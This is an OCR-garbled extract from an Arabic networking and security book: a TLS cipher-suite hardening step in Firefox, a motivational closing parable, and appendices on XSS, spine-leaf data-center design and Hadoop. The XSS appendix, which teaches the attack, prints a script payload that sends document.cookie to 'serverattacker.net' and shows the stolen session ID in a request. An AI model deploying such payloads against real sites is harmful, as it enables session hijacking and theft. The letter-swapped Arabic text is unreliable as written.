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 ،PFSالتي تدعم ال  cipher suitesللى ال  ةلاحظ لعطاء الأولوي

 Protocol Detailsوذذا آطر جزء وذو طاص بال 

 .Forward Secrecyويظهر بِا طاصية ال 
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 للمتصفح الخاص بك!  يمكنك أيضاً لجراء نفس الإطتبار
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  FireFoxالتي يدعمها المتصفح الخاص بي، وذو  cipher suitesبال  ةلإطتبار الخاصمايلي نتائج ا

 
 

 
 ..؟ cipher suiteذل تتذكر ذذا ال 
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عندما كنا نتحدث عن   handshakeأثناء مرحلة ال  serverالتي قدمها المتصفح للى ال  cipher suitesلنه أحد ال 

 اطتياره!.ب serverوأيضاً قام ال  ،SSLبروتوكول ال 

 قهو مُصن ف بأنه ضعيف!. ،Forward Secrecyقضلًا عن أنه لايدعم ال 

 بالشكل: ةسنقوم الآن بإلغائه  من البدائل التي يقوم المُتصفح الخاص بي بتقديمها باتباع الخطوات الموضح

 
 

التي يدعمها  cipher suitesقيظهر لنا ال  SSL3في الشريط، ثُم  في طانة البحث نكتب  about:configنقوم بكتابة 

 .Falseب  ةالضعيف عن طريق جعل قيمته المناظر cipher suiteالمتصفح،  قنقوم بإلغاء ذذا ال 
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مع  cipher suiteلنختبر الُمتصفح بعد ذذا الإجراء لنتأكد من عدم ظهور ذذا ال  ssllabsوالآن سنعود مرةً أُطرى للى 

 البدائل التي يدعمها المتصفح.

 الضعيف!. cipher suiteنتائج، ولايوجد من بينها ال ذاذي ال

 
  .PFSللى ذُنا نكون انتهينا من ققرة ال 

 ”Success Algorithms“تقل الآن للى آطر ققرة في ذذا الباب، وذي ب عنوان سنن
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Success Algorithms 

 

التي يُمك نكُ اعتمادذا  ةميات الُمختار، دعني أُقدم لك بعض الخوارزب ما أنك الآن أصبحت رَجُلاً رَقَمياً بامتياز 

م للى الأمام.  ل تَكون دائمَ التَقدُّ

 عليها تماشياً مع موضوع ذذا الباب، الذي كان الختام ل ك تابي. "طوارزمية"قُمتُ بإطلاق لفظة 

 

 أحكي لك قصة من القصص الرائعة..س

 

ت.في يومٍ ما هُ الَمو   ... كان أحد الحكَُماء الصوقيون يَح ضُرُ

 قسألهُ أحدذم..

كم ف الكبير.. دُل ني على أساتيذك ومُعلِّميك الذين استقيتَ منهم ذذه الح   !.ةالجلَيلَ  ةققال: أيها العار 

 قال الشيخ: يابُني.. لو أردتُ ذلك لأطذنا شهوراً وراءَ شهور لأدُلكَ عليهم!، وليس في الوقت مُت سع!.

ني على أذم أسات  يذك!، على أروع  مُعلِّميك!.قال الشاب: لذاً.. قدُل 

 ققال الشيخ: نعم.. ذُم ثلاثة..

 قال الشاب: ومن ذُم؟

 ل ص!، وكلب، وطفل  صغير!. قرد الشيخ: ذُم

 

 وبدأ الشيخ يسُد له قصتهُ مع ذؤلاء الُمعلمين الثلاثة..
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فتاح داري عند جارة لي كبيرة في السن قأحسست بالحرج من أن  ،عُدتُ ذاتَ يوم من السَفَر، وكُنتُ قد استودعتُ م 

 أوقظها في منتصف الليل. وبينما أنا كذلك، لذا برجُل يسألني: ماذا بك؟

 قلت: أود أن أقتح بيتي وليس معي الم فتاح!.

 قال: أنا أقتحهُ لك، قهذه صنعتي!.

عل،  قفتحه ذاك الرجل بالف 

 .ةققال له الشيخ: لنزل علي  ضيفاً الليل

 ، قليس عندي بيت من الأساس!.ةقرد الرجل: على الرحب والسَعَ 

 

زقه، ثُم  
يعود في آطر اليوم طالَي  يقول الشيخ، قنزل علي  ضيفاً لبضعة شهور!، وكان يخرُج كل صباح باك راً باحثاً عن ر 

 ، ولم يكن يعلم الشيخ أنه لص!.اليدين

 ، ثم يأتي بلا مالللسعي على رزقه، ققد كان يتأملهُ وذو يستيقظ كل يوم بكل حيوية ونشاط وينطلق 

 وكان يسأله الشيخ: ماذا كسبت؟، قيرد عليه: لا شيء!، غداً لنشاءالله يأتيني الرزق.. وذكذا..

 وطموح عاليين!، لا يتضجر من القضاء والقدر!. ةقكان رجل عجيب!، لا ييأس، لديه لقبال على الحيا

 قال الشيخ: قتعلمتُ منهُ الكثير!.

 

 !..لكذديها طوارزمية للنجاح أُ  وذذه أول

لبذل مابوسعك دائمًا، ولا تطمئن لم ا وَصَلتَ لليه من علوم أو معارف أو طبرات!، ابحث دائمًا عن كل  .."لا تيأس"

 جديد ولا تركن للى منطقة الراحة. 
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لاحظَ بعض الباحثين وجود علامة مُشتركة بين عدد من المخُترعين والعُلَماء. وذي أنهم كانوا مُصابين بنوع من 

ضا عن أنفسهم"وذي  ةالأزمات النفسي !، قكان يدقعهم ذذا للى البحث الُمستمر وبذل الجهُد غير العادي، "عدم الرِّ

ضا عن نتائجهم الحالية!.  م بالرِّ
 والسهر لساعاتٍ ط وال بسبب عدم شعورذ 

م غير المسبوقة!، ونتائجهم المُثير ةقكانت ذذه العُقدة النفسي  !.ةة للدذشسبباً في ظهور لنجازاته 

دين مثل ذؤلاء!..   لا نُريد أن نكونَ مُعق 

 ولكن نُريد التحلي ببعض الإصرار وبذل الجهد لنَتمكن من التقدم للأمام دوماً.

 

 ل نعَود للى الشيخ الجليل...

 

وَل  ماء، قيه عُمق، أي أنه عميق بعض الشيء.  واستكمل الشيخ.. وأما الكلب.. قكان يُساب قُني للى جَد 

ول، يبدو أنه رأى صورته في الماء!،قل دَمَ ذلك الكلب للى الجدَ   ما أق 

عاً.. وذكذا ل ع دة مُحاولات. ع!، قابتَعد.. لكن  العطشَ غلبهُ، قعاد.. ثم ارتد  قز   قَفَز 

 للى أن  غلبهُ العطش قألقى بنفسه  في الماء!.

 

ك نا، وأكثر صر  قتعلمتُ من ذذا الكلبقال..  ق نا ذي أوذامُنا!!.. أن أكثر معار   اعات نا، وأكثر مُاو 

قُها!. طُها على الواقع ونُصدِّ  نخلُقُها ثُم نُسق 

بُنا.. ذي التي تُصيبُنا بالإعياء!.
ف ذي التي تُتع   ذذه المخاو 

 وذذه ذي الخوارزمية الثانية للنجاح..
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بة ر  نَ التجَ 
 !، أقب ل ولا تَخَف.. لا تَخَف م 

كمه يُمك ن التَغَلُّب على الصُعُوبات، ثُم النظَّر مُعظم الأمور تبدو صعبة في  بدايتها، لكن بالتحلي ببعض الشجاعة والح 

 للى ما وراءذا، وذكذا.. كُلما حَققتَ ذَدقاً، احتفل به، واقرح به!، ثُم انتقل للى الذي يَليه!.

 

دَة،   مُعادَلات الن جاح كثيرة ومُتعدِّ

قَت ها ود راسَت ها. نها أولاً!.والأقضل من مَعر   . ذو تَطبيق ما نَعرقهُ م 

. اتين الخوارزميتين  ذا سَنكتفي بِ 
 وله 
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بُ أن أُذنِّئك..  أُح 

اية ذذا الكتاب ب حَمد الله تعالى..  لقد وَصلتَ للى نه 

 أتمنى أن يكون قد نالَ لعجابك..
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 .Injection Attacksشكل من أشكال ال  XSSيُعتَبَر ال 

م طاصية ال  injection exploitsنقوم بتعريف ال  ليتم لدطال  data entryأو ال  inputعلى أنها الثغرات التي تَستَخد 

 .operation، قينتُج بذلك تغيير أو تخريب لوظيفة ذذه ال ةالمطلوب dataكود بدلاً من لدطال ال 

 

 مايلي: injection attacksمن أمثلة ال 

SQL injection, DOM injection, & XSS 

 

 

 ..؟XSS ماذذا ال

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious 

JavaScript in another user's browser. 
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 كيف يتم ذذا؟

بزيارته.  userالذي سيقوم ال  Website بعينه!، بينما يقوم باستغلال ثغرة في ال userباطتراق  Attackerلا يقوم ال 

الذي يتصف ح الموقع.  userللى ال  malicious codeل توصيل ال  ةذذا الموق ع كأدا Attackerحينها يستخدم ال 

ظ أنه كود مشبوه!.  malicious codeمع ال  userالخاص بال  browserويتعامل ال  على أنهُ جزء من الموقع ولا يُلاح 

 وغالباً يتم كتابة ذذا الكود بلُغَة الجاقا. "،Persistent XSS"، وذو ال XSSريف الشهير لأول نوع من ال ذذا ذو التع

 

 داطل صفحات الموقع؟ codeلهذا ال  injectبعمل  Attackerكيف يقوم ال 

 .”user inputs“في حالة لذا كانَ الموق ع يحتوي على أي نوع من أنواع ال 

ار، وتحديداً آطر تعليق، سيكون  Scriptموقعٍ ما تحتوي على ل نفرض أن  أحد صفحات  وظيفتهُ عرض تعليقات الزو 

 كما يلي: Scriptشكل ذذا ال 

 
 

يلتقط منها آطر تعليق ثُم  يعرضه  Data Baseللى ال  accessسيقوم بعمل  Scriptذذا ال 
ار، ل  الخاصة بتعليقات الزو 

 للمُستخدمين. ةعلى الشاش
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 لإدراج الكود الخاص به ؟ Scriptذذا ال  Attackerل ال كيف يستغ

ار، ثم  بدلاً من لرسال تعليق سيقوم بإرسال كود، ذذا الكود سيتم تخزينه في  Attackerسَيَعتَبر  ال  نفسه أحد الزو 

 يفتح ذذه الصفحة. user، ثُم  يتم عرض ذذا التعليق الأطير )الكود( لأي ”db“قاعدة البيانات 

د ما سيتلقاه أي ل نُش  بعد لرسال الكود. userاذ 

 

 
 

، ذذا الكود ربما تكون وظيفته malicious codeتُعَبرِّ عن ال  <Tags <Script></Scriptالنقاط التي بين ال  

 .Attackerونسخها ثُم  لرسالها للى ال  userالخاصة بِذا ال  Cookieالوصول للى ال 

 

 .malicious code لل ةأحدذم ضحيعلى وقوع  ةبعض الآثار الُمترتب

قَة ال  -1   Cookiesسَِ 

، قيتمكن بِذا input forumsفي أحد ال  document.cookieبتضمين كود مستخدماً الأمر  Attackerيقوم ال 

 الخاصة بأي زائر لهذه الصفحة. cookieالحصول على ال 

 .Keyloggingسِقة كلمات المرور عن طريق ال  -2

 addEventListenerباستخدام الأمر  keyboard event listenerذُنا ب زَرع  attackerيقوم ال 

 .Attackerالخاص بال  Serverليتم لرسال مايتم كتابته بالكيبورد للى ال 
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XSS Attack types: 
 

 
Persistent XSS 

where the malicious string originates from the website's database. 

 

 

Reflected XSS 

where the malicious string originates from the victim's request. 

 

DOM-based XSS 
where the vulnerability is in the client-side code rather than Server-side code. 

 

 

 

 

 

 

 

 

 

Persistent XSS 

 مايلي شكل يوضح ططوات تنفيذ ذذا النوع من الهجوم:
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 لليه عن  malicious stringفي الموقع ل يقوم بإدطال  input forumsباستغلال أحد ال  attackerيقوم ال  (1)

 .Post methodطريق 

 

 ..؟Post methodماذذا ال 

يستخدم ذذا  .WWW العلى أنه البروتوكول الأساسي الذي يُعَد بوابتك لدطول  HTTPفي البداية نقوم بتعريف ال 

، حيثُ ”Message based system“، وذي ال serverوال  clientsواصل بين ال البروتوكول نظام ثابت في عملية الت

د عليه  server، ويقوم ال requestبإرسال  clientيقوم قيها ال  التي يتعامل  methods. من أشهر ال responseبالر 

 .Post، وال Getبِا ذذا البروتوكول ذيَ ال 
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، بينما server، (Retrieve a resource)بعينه  من ال  resourceب بطل clientعندما يقوم ال  Getتُستَخدَم ال 

 (to perform action)ما..  Actionلتقوم بعمل  Postتُستخدَم ال 

 ما أو أثناء لجراء عملية بحث. forumمثلًا بعد ملئ  send، قيامك بالضغط على postمثال لعملية ال 

 

 .Get methodن الموقع، لاحظ استخدام عشوائي ذُنا بطلب ذذه الصفحة م userيقوم أي  (2)

بإدطالها  attackerالتي قام ال  malicious stringبإرسال الصفحة وبِا ال  victimلل  Responseيقوم الموقع بعمل  (3)

 وذو يعني مايلي: responseفي ال  200للى قاعدة البيانات في الخطوة الأولى. لاحظ الرقم 

it means that the request was successful, and that the requested resource is being returned. 

 

 وذو عبارة عن كود لنسخ ال  malicious codeبتنفيذ ال  victim’s browserيقوم ال  (4)

Session cookie  الخاص بالvictim  ولرساله للىServer  يُخص الattacker. 

 ..؟Session cookieبعد أطذ ذذا ال  attackerومالذي سيستفيده ال 

 .user، أي أنه سيتمكن من انتحال شخصية ذذا ال victimسيقوم بعدذا بالتعامل مع ذذا الموقع على أنهُ ذُوَ ذذا ال 

 

 

 .XSSلقد قهمنا النوع الأول من ثغرات ال 

 سننتقل لتوضيح النوع الثاني وبه  نختم ذذا الموضوع 
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Reflected XSS 

 

 .اطترتهُ لك the web application hacker’s handbookمايلي مثال من كتاب 

 ”Session Token“على الإنترنت، ويحصُل على ال  web applicationsلأحد ال  Loginبعمل  userيقوم ال   (1)

 بِذه العملية. ةالخاص

 ..؟Session tokenوماذذا ال 

. قكُل request-response model، ويعتمد على ال Stateless protocolيُعَد  HTTPذكرنا من قبل أن بروتوكول ال 

request  وresponse  ذُم  ”independent transaction“يَعتَبر 
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!.  userالخاصة ب  requestsليقوم بربط سلسلة من ال  mechanismطريقة أو  HTTPوبالتالي لا يملك ال  بعينه 

الشراء الإلكتروني، وأيضاً تقوم ذذه  ، وطدمةloginوبالنظر للى مواقع الانترنت الآن، ستجد أنها تُقدم لك طدمة ال 

ر ماقُمتَ ب ه  لديهم في الزيارات الماضي  . ةالمواقع ب تَذَكُّ

 قكيف تقوم المواقع بِذا الأمر؟ 

 .”Session“لتحقيق أيٍ من ذذه الخدمات، سَتَحتاج ذذه المواقع تطبيق مبدأ نُطل ق عليه 

 جديد!. requestمثلًا تتكرر في كل صفحة أو كل  loginسيجعل عملية ال  Sessionلاحظ أن  عدم وجود ال 

 

 لذاً؟ Sessionقما وظيفة ذذه ال 

التي  requests، ثُم  يتعامل مع بقية ال userلهذا ال  Sessionبتسجيل الدطول، يقوم الموقع بفتح  userبعد أن يقوم ال 

 .userعلى أنها تتبَع ذذا ال  sessionتتم داطل ذذه ال 

د من أن  سلسلة ال وبالتالي يُر تحديداً!، وليس أحد غيره. وذذا  userذذه قادمة من ذذا ال  requestsيد الموقع التأكُّ

د يتم باستخدام ال   ”Session Token“التأكُّ

 ..؟Tokenقما ذذا ال 

ى sessionيفتح  userل كُل  دأ ذذا ال ، وعندما يبTokenأو  Session ID مع الموقع، يتم لعطاؤه رقم عشوائي يُسم 

user  بإرسالrequest  جديد أو الانتقال ل صفحة أطرى قيقوم بتضمين ذذا الID  في الrequest قيتمكن حينها ،

ق من ذذا ال  requestالموقع من ربط ذذا ال   .userبالذي قبله، ومن ثم التحقُّ
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قيضغط عليه دون تدقيق في  victimيظهر أمام ال  ”message error“ذُنا بإرسال كود داطل  Attackerيقوم ال   (2)

 :userمعناه!. ذذا مثال على مايظهر لل 

 

ل له الموقع ال  victimسيطلبه ال  requestذذا الكود عبارة عن    Session IDأو ال  cookieمن الموقع بأن يُرس 

 . كمايلي:attackerالخاص بال  serverالخاص به، ويتم تحويله للى ال 

 
http://website.net/error/5/Error.ashx?message=<script>var+i=new+Image;

+i.src=”http://serverattacker.net/”%2bdocument.cookie;</script> 

 

 الغير أطلاقي  requestبإرسال ال  userيبدأ ال   (3)

 لليه. session IDبإرسال ال  victimيقوم الموقع بالرد على ال   (4)

 التالي: javascript codeبتنفيذ ال  victim’s browserيبدأ ال   (5)

<script>var+i=new+Image;+i.src=”http://serverattacker.net/”%2bdocument

.cookie;</script> 
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ل ال   (6) ، attackerالخاص بال  serverللى ال  requestعن طريق عمل  Attackerللى ال  Session IDال  victimيُرس 

ن ال  requestذذا ال   .victimاصة بال الخ Session Tokenيتضم 

 :requestمايلي شكل لهذا ال 

  session idلاحظ ال 

GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1 

Host: serverattacker.net 

لاً شخصية ال  session idذذا ال  attackerيستخدم ال   (7)  .victimويتعامل مع الموقع مُنتح 

 

 

 

 

 
Appendix (B) 

 

Spine & Leaf Architecture Vs Traditional Data 

Center Architecture 
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ثلَ تكنولوجيا ال  Distributed Cloud، وال Cloud Computingوال  Virtualizationمع انتشار تكنولوجيا ال  م 

Hadoop  في بيئة الData Centerلعالية في نقل البيانات .. بدأت الحاجة الفعلية لمزيد من المُقومات وللى السُعات ا

 الكفاءة بِا!،  Traditional Architectureوالتي لم يُثبت ال 

 Architecture لظهور ةجديد ومُوق ر في نفس الوقت. قكانت الحاج Modelأو  Architectureقبدأت الحاجة لابتكار 

 .”Three-Tier Networking Model“جَديد ل يحل مَحل النظام التقليدي 

 

  أولاً..؟، ”Hadoop“ل ما ذذا ا

ن من التعامُل معه! Network Architectureكي أقهم لماذا سنحتاج ل   .جديد ل نتََمك 

تُ ب شَرح ال  ئت. تستطيع ،Appendix (C)في الملُحَق الأطير،  Hadoopقُم   الإنتقال لليه لن ش 

 

 ..؟”Three-Tier Networking Model“وما ذذا ال 

 ذا ذو..
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Core Layer 

Core Layer is considered as the back bone of networks, The Core Layer routers move 

information on the network as fast as possible. 

Core Layer consists of biggest, fastest, and most expensive routers with the highest model 

numbers. 

 

Aggregation Layer 

The purpose of this layer is to provide boundary definition by implementing access lists and 

other filters. Therefore the Distribution Layer defines policy for the network. Distribution Layer 

includes layer 3 switches. it ensures that packets are properly routed between subnets and 

VLANs in the enterprise. 
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Access Layer 

Access layer switches ensures that packets are delivered to the end devices, 

It includes Access Switches which are connected to the end devices (Computers, and Servers). 

 

 

 .Data Centerالُمتعارف عليهم في ال  Patterns  Trafficالسنقوم بتوضيح نوعين من 

 النوع الأول:

 

South Traffic-North 

 .”Client-Server Traffic“نُطل ق عليه أيضاً  Trafficذذا النوع من ال 

Traffic between Data Center and any thing else outside, (Traffic that travels in and out of the 

data center). 

 

 عليه..  ةذذه بعض الأمثل

 .SharePoint، أو ال Exchange، أو ال HTTP/HTTPs الخاص بال Trafficال 

 الذي تكلمنا عنه بالأعلى يُثبت كفاءة جيدة في التعامل مع مثل ذذه الأنواع  Network Modelيتضح أن ال 

 ذذا . Data Centerبداطل ال  Servers وال Remote Clientsالتي تكون في الأغلب بين ال  Trafficمن ال 

 :والحماية في حالة حدوث أي طلل أو كما نقول Redundancyمَبني على مبدأ ال  Network Modelال 

“Resiliency against any failure” . وذلك عن طريق تفعيل الSpanning Tree Protocol. 

ب ل  كما يظهر بالشكل بالصفحة  Network Linksمن ال  %50ولكن عند تفعيل ذذا البروتوكول ينتج عن ذلك حَج 

 .ةالماضي
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 لها ميزة وعيب في ذات الوقت!. Blockingالتي حدث لها  Linksذذه ال 

لأي  Failureيتم تفعيلهُ في حالة حدوث  Backupفي الشبكة، حيثُ تكون ك  Loopingأنها ستمنع حدوث  الميزة

Link .ال نا من والعيب قع  م   المار داطل الشبكة بسبب تعطيل ذذه اللينكات!. Bandwidthمن ال  %50 أنها سَتحَر 

دونُ  Trafficسننتقل للى النوع الثاني من ال   كيف سيتعامل ال  شاذ 

Traditional Network Model .!معه 

 

West Traffic-East 

آطر من  Patternسار يتجه ل بدأ الم Distributed Cloudوال  Virtualization، كال ةمع ظهور التكنولوجيا الحديث

الحاد ث داطل  Traffic، وذو ال ”Server-to-Server Traffic“ونُطل ق عليه أيضاً . East-Westوذو ال  Trafficال 

الموجود في أقصى اليسار، يُريد أن  Access Switchبال  مُتصل Serverقلو قرضنا وجود  ذاتها. Data Centerال 

 الموجود بأقصى اليمين، قكيف سيتم ذلك؟ Access Switchبال  لتصآطر مُ  Serverيتواصل مع 

 
 

 Switchومن ثَم  لأسفل مرةً أطرى كي تصل للى ال  Core Routersبأطذ مسار لأعلى للى ال  Packetستقوم ال 

 بالشبكة!. Bandwidthوذدر لل  Latencyوذذا يؤدي لمزيد من ال  الآطر في أقصى اليمين!.
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 Calculations in( التي تقوم بعمل Servers)نتكلم ذُنا عن مئات من ال  Cluster of Serversوب فرض وجود 

parallel  كما في حالة استخدام الApache Hadoop  على سبيل المثال، قلن تتحمل الشبكة نهائياً أي نقص في ال

Bandwidth  أو في الLatency وذذا لأن ال .Servers مُكث ف قيما بينها داطل ال  ذُنا ستحتاج لعمليات تواصُل

Cluster.!  قإذا جئنا لتطبيق ذذا الأمر باستخدام الTraditional Model  وذو الThree-tier Architecture ،

 المرجو من وراء ذذا العَمَل. Businessقنكون بِذا نُؤدي لضياع ال 

 

 ”Spine-Leaf Architecture“ الإنتقال للى ال
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 من جزئين أساسيَيّن، ذُم كما يلي: Architectureيتكون ذذا ال 

“Spine Switches, and Leaf Switches” 

 :عبارة عن Spine، قال Coreيُمك ن اعتبارذا طبقة ال  Spine Switchesذذه ال 

High-Throughput Layer 3 Switch 

 

لل  (Connection Points)تَبر بمَثابة ال قهيَ تُع ،Access Layerعلى أنها ال  Leafوفي الُمقاب ل يُمك نُنا تَصوَر طبقة ال 

Servers كما أنها تمتلك ال ،Uplinks  للى الSpine Switches. 

 

ل بجميع ال  Leaf Switchأن  كل  Architectureمن ذذا ال  يبدو واضحاً   .Spine Switchesمُتصَ 

“Every Leaf switch is connected to every Spine switch” 

 ذذا؟ولكن ماذا يعني 

آطر، سَيَسلُك مساراً ثابتاً وواضحاً!، سيقوم بالصعود للى ال  Serverيود التواصل مع أي  Serverذذا يعني أنه لأي 

Spine  ثُم  النزول للى الLeaf  الموصول بِذا الServer. 

لة ب نفَس ال  Servers)يُستثنى من ذلك ال   Spineود للى ال حيثُ لن تكون ب حاجة للى الصُع Leaf Switchالُمتص 

 حينها(.

 

لقيامه بتفعيل كامل ال  ”East-West Traffic Pattern“يعمل بكفاءة عالية في حالة ال  Architectureذذا ال 

Network Resources  وتلافي الهدر الحادث في الBandwidth. 
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Appendix (C) 
 

 
 

 .Apache Foundation قامت بتطويره" Open-Source Software Framework"ذو عبارة عن 

ك البحَث  Processingعمل  Hadoopيستطيع ال  لكَ الخاصة بقواعد بيانات مُحرِّ
للأحجام الضخمة من البيانات كت 

بمُعالجة وتوزيع ذذه البيانات  Hadoopالكبيرة كالفيسبوك. يقوم ال  Applications، أو ببيانات ال Googleالشهير 

 .Distributed Computing خدام تكنولوجيا الباست Hardwareالعملاقة على ال 

 

 ..؟ Distributed Computing ماذذا ال

Distributed computing is a model in which components of a software system are shared among 

multiple computers to improve efficiency and performance. 

ما، على مجموعة من الأجهزة بدلاً من جهاز واحد!، ذذه  Systemأو  Applicationلنه يُعبرِّ عن عملية تشغيل 

ى   ةذذه الشبكة من الأجهزة المُتراص   ..تكون مُرتبطة ببعضها داطل شبكة Nodesذذه ال  ..Nodesالأجهزة تُسم 

يها  ونُطل ق عليه ، (LAN) لذا كانت الشبكة محلية ”Cluster Computing“نُسميه  Clusterذذا ال  ..Clusterنُسمِّ

“Grid Computing” في حالة لذا كان ال Distributed Computing ع نستخدم أيضاً مبدأ ال  .(WAN)على ال  مُوز 

Distributed Computing  في الComputational Problems  الكبيرة، والتي لا يُمكن لجهاز وحيد استيعابِا!، قيتم

، Nodesأو المهام، يتم توزيعها على مجموعة من ال  Tasksللى مجموعة من ال  Problemأو ال  Processتقسيم ذذه ال 

 لديها القابلية للتواصل مع بعضها البعض كما يظهر بالشكل.  Nodesذذه ال 
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ى تكنيك ذذا التواصل يتم باستخدام   ..”Message Passing“يُسم 

ن Objectsحيثُ يُتيح لل  ةكمبيوتر الحديثيُستخدم في العديد من تطبيقات ال Message Passing ذذا ال لهذا ال  ةالُمكوِّ

Software  عة على ال بإمكانية التواصل مع بعضها بأسلوب ذكي وسِيع، عوضاً عن الأسلوب  Nodesوالموز 

!. تُمثَِّل الأسهم الطويل Programلل  Callالتقليدي بأن يحدُث  ة في الجه Nodesنسبياً التي تربط بين ال  ةبإسمه 

 .مبينه Message Passingاليُسُى عملية ال 

 

 
 

  يظهر على اليمين النظام البسيط، وذو الParallel Computing،  ظ وجود يتشارك بِا  Shared Memoryنُلاح 

 .Multiprocessorمجموعة من الُمعالجات 

 بينما على اليسار يبدو أنه Distributed Memory Systemل ، ويُشير الإطار الُمحيط بكNode  ،!للى أنه جهاز مُستقل

يه بال   . Multicomputerوذذا ما نُسمِّ
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 من جديد. Hadoopل نعود للى ال 

عة على ال  Blocksذذه ال  .Blocksللى  Big Dataيقوم بتقسيم ال  Hadoopقُلنا أن  ال  يتم تخزينها في الأجهزة الُموز 

Clusters وبزيادة عدد ال .Nodesة ذذه ال ، تزيد سِعة معالجBig Data،  أيضاً عند حدوث طلل أو تَلَف في أحد

 Nodeللى أي  Load لهذا الاتيكي مبسبب عملية النقل الأوتو Dataأو ال  Application، لن يتأث ر ال Nodesال 

أي  . كما أنه يقوم بعمل أكثر من نُسخة من البيانات حتى يتمكن من استرجاعها في حالة حدوثClusterأُطرى في ال 

 ”High Availability“ققد، وذذا ما نُسميه بال 

نَ الخصَائص الأطُرى الُممَيزة لل  يله  ل عَمَلية ال  Computer Clusterم   .”Load Balancing“تفع 

 

 ؟..”Load Balancing“ماذذا ال 

 مايلي تعريف الويكيبيديا له:

load balancing improves the distribution of workloads across multiple computing resources, such 

as computers, a computer cluster, network links, central processing units, or disk drives. Load 

balancing aims to optimize resource use, maximize throughput, minimize response time, and 

avoid overload of any single resource. 

 

 : الأساس عبارة عن جزئين رئيسيينفي Hadoop Frameworkذذا ال 

 . سنأتي لليه بعد قليل..(HDFS)أو التخزين، ويُطلَق عليه  ”Storage“الجزء الأول وذو الخاص بال  -

تصَ بمُعالجة البيانات  - ى  ”Processing“والجزء الثاني ذو الُمخ   .(MapReduce)ويُسم 

 

ن Core Modulesه ال سنوضح وظيفة ذذ  .Hadoopلل  ةالُمكوِّ
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Hadoop Common 

 .Modulesالتي ستحتاجها بقية ال  Utilitiesوال  Librariesذذا الجزء يحتوي على ال 

 

Hadoop Distributed File System (HDFS) 

لأنه سيقوم بعملية  Scalabilityيتميز بال  System، ذذا ال Javaمُبَرمَج ب لُغة ال  Systemعبارة عن  Moduleذذا ال 

. ذذا التخزين سيكون بشكل (Across multiple machines)على العديد من الأجهزة  Big Dataتخزين ال 

 قبل ذذا الإجراء!. Dataلهذه ال  Organizeعشوائي، أي أنه لن يتم عمل 

 

Hadoop MapReduce 

 Processing.. تتلخص وظيفته في  عمل Software، ذو في الأصل Programming Modelذذا الجزء عبارة عن 

نَ ال   .Dataل كميات ضَخمَة م 

 

Hadoop YARN 

 Computingذي ال  Resources، ذذه ال Resourcesلل  Managementتقوم بعمل  Platformذذه عبارة عن 

 .Resourcesرة ذذه ال لإدا ةوبالتالي نحن بحاج Clusterداطل ال  Nodesبالطبع، كما نعلم أننا أمام كَم كبير من ال 

 

 .”Base Modules“، ويُطلَق عليها Apache Hadoopلل  ةذذه ذي المكُونات الأساسيكانت 
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